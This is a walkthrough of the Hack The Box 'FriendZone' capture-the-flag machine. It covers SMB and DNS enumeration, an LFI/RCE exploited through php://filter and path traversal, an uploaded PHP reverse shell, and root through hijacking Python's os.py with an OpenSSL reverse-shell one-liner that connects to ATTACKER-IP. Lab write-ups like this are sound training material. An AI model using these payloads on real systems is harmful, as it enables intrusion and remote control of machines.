/var/log $ cat "Hack The Box - FriendZone Walkthrough"
2019-07-13 | hackthebox ctf
Machine Info
Inital Recon
|
|
In summary the box runs the following services of interest:
- FTP
- SSH
- DNS
- SMB
- Webserver HTTP+HTTPS whereas the SSL certificate hints to a possible vHost called
friendzone.red
Inital Enumeration
FTP Enumeration
Anonymous login is not allowed and googling for possible vulnerabilities finds nothing for vsftpd 3.0.3.
On to the next one…
HTTP and HTTPS Enumeration
HTTP
Browsing to the IP or friendzone.red
after adding it to /etc/hosts
we see:
From the email we get an other possible vHost named friendzoneportal.red
.
Bruteforcing files and directory reveals a robots.txt
file which only contains “seriously ?!” and a sub-directory named /wordpress
which does have directory listing enabled and is empty.
And that’s about it. Next!
HTTPS
While browsing to the IP 404s, going to https://friendzone.red
we get:
Having a look at the source code of the site we find a comment which hints to sub-dir named /js/js
:
Browsing to /js/js
(/js
also has directory listing enabled and only contains the dir js
)
Using hash-identifier
on the obscure string (“QzVhTXVRYVlNWTE1NjI3ODYzODFKUHgwWFBGNndo”) it identifies it as possible SHA-1 hash. But looking it up on CrackStation we don’t get a result. Having a look into the source of the website we find a comment at the end which hints that this is a dead end:
Doing also a gobuster
run for files and directories we only find one sub-dir /admin
which is empty.
Next!
friendzoneportal.red
From the HTTP site we know the possible vHost friendzoneportal.red
. After adding it to /etc/hosts
we check if there’s anything. On HTTP we are presented with a site which looks the same as friendzone.red
resp. when browsing directly to the IP:
Using gobuster
we find the exact same robots.txt
and empty /wordpress
directory, so we can assume http://friendzone.red
and http://friendzoneportal.red
are pointing to the same htdocs.
Browsing to the URL using HTTPS we see:
Again using gobuster
we just find the page (index.php
) that we see. Also the source shows nothing of interest.
Next!
SMB Enumeration
Using smbclient
to list available shares on the box we find three and an interesting comment for the share Files
:
/Files
is not accessible without proper credentials and /Development
is empty. But in /general
we find a file named creds.txt
:
Downloading creds.txt
to our machine we find some credentials for a “admin THING”:
|
|
Finally something, but still… Next!
DNS Enumeration
As the box is running DNS we try to perform a DNS zone transfer to see if we find more domain names/vHosts:
As the zone transfer is allowed we now have a list of more sub-domains to enumerate:
|
|
Instead of checking all possible http/https URLs by hand we save them to a text file and use a little BASH script which facilitates curl
to do that for us:
|
|
Now we have some more domains/URLs to enumerate:
|
|
Again: Next!
HTTP/HTTPS Enumeration Round 2
administrator1.friendzone.red
Accessing https://administrator1.friendzone.red
we are presented with a login form:
Using the creds we found earlier (admin:WORKWORKHhallelujah@#) we can login and are told to go to /dashboard.php
:
And this is what we get when we go there:
OK, let’s access it with the suggestet paramters:
Using gobuster
we can find three files: login.php
and dashboard.php
which we alredy know and a new one named timestamp.php
. Also there’s a sub-dir /images
which contains a.jpg
(the “Ha Ha!” image) and b.jpg
. When we modify the image_id
parameter and set it to b.jpg
the page looks like this:
If we modify the paramter to what.ever
we can find <img src='images/what.ever'>
in the HTML source. We can assume the underlying PHP code looks like image = $_GET['image_id']; echo "<img src='images/$image']";
and will be therefore of no use to get inside the box.
Leaves the pagename
parameter as a possibility to exploit. When we access timestamp.php
directly we get something which looks exactly like the bottom of the page of dashboard.php
when pagename=timestamp
(except of a diffrent time of course):
What if the pagename
parameter controls what get’s included in dashboard.php
except of the .php
filename end? So let’s see what happens if we access https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=dashboard
:
And we do have RCE/LFI here. Next up we need to find a way to execute our own code.
uploads.friendzone.red
Using gobuster
on https://uploads.friendzone.red
we find:
|
|
Going there we are presented with a upload form:
Playing around with the form it doesn’t seem that there are any restrictions on what to upload. We get a success massage no matter what we upload:
But after the successful upload our files are nowhere to be found, neither in /files
which would be the obvious choice or /
. Also combining the search for the uploaded file with the timestamp we get in the success message doesn’t help. So either the files are stored somewhere else or with a logic we don’t understand. Also accessing upload.php
doesn’t give us any clues:
Own User
Making Use of RCE/LFI
As we cannot access our uploaded files let’s see what elese the vulnarability can reveal. First we get the code of dashbaord.php
using a PHP filter trick to convert it to base64 using the URL https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=dashboard
. After decoding the base64 string we have the source code:
|
|
As we can see from the code the image_id
parameter is useless but pagename
is directly used within an include()
(include($_GET["pagename"].".php");
) thus giving us RCE.
Assuming that all sub-domains share the same root directory (something like /var/www/html
where administrator1.friendzone.red
would be stored in /var/www/html/administrator1
and uploads.friendzone.red
in /var/www/html/uploads
) we can try to facilitate directory traversal and the PHP filter trick to retrive the source code of https://uploads.friendzone.red/upload.php
so see where files are uploaded to. By accessing the URL https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=../uploads/upload
and decoding the base64 string we get the source code of uploads.php
:
|
|
As we can see the from the code nothing is uploaded at all. That’s the reason why we couldn’t find the files we tried to upload. We need to find an other way to upload our arbitrary code.
Getting a Reverse Shell and the User Flag
Going back to SMB enumeration we remeber this one comment for the share Files
:
|
|
Based on that comment we can assume that files in Files
are located in /etc/Files
. If the other shares follow the same logic general
might be found in /etc/general
and Development
in /etc/Development
. From the three shares we only have write access on Development
. So let’s give that one a try.
Since we’re dealing with PHP we use the most famous pentestmonkey’s php-reverse-shell and upload it as shell.php
to Development
using smblcient
. Starting a netcat
listener and playing with the path traversal we get the script to execute by accessing https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=../../../../../../etc/Development/shell
which gives us a reverse shell and the user flag:
Own root
Finding a Privilege Escalation Method
Monitoring processes with pspy after downloading it from out attacker machine in our low-priv shell (both wget
and curl
are present on the box) we find /opt/server_admin/reporter.py
is getting execute as root every 2 minutes. The obvious first thought is to modify it so that we can become root. But we don’t have write access. Also a look into the code does not show a direct way to exploit it:
|
|
Going through Linux privesc enumeration we find that /usr/lib/python2.7
beeing world-writable. As we know from the script, os
is imported. So we can hijacking the library to become root when the script is executed.
Root Shell and Flag
We have quite a lot of options for the privesc part since we could pretty much do everthing through Python. I opted for an OpenSSL reverse shell. First we create the necessary certificates with openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
and start an OpenSSL server with openssl s_server -quiet -key key.pem -cert cert.pem -port ATTACKER-PORT
(don’t forget to set a port).
On the box we add system("mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER-IP:ATTACKER-PORT > /tmp/s; rm /tmp/s")
(replacing ATTACKER-IP and ATTACKER-PORT of course) to the end of /usr/lib/python2.7/os.py
. Now we wait for our root shell and grab the flag: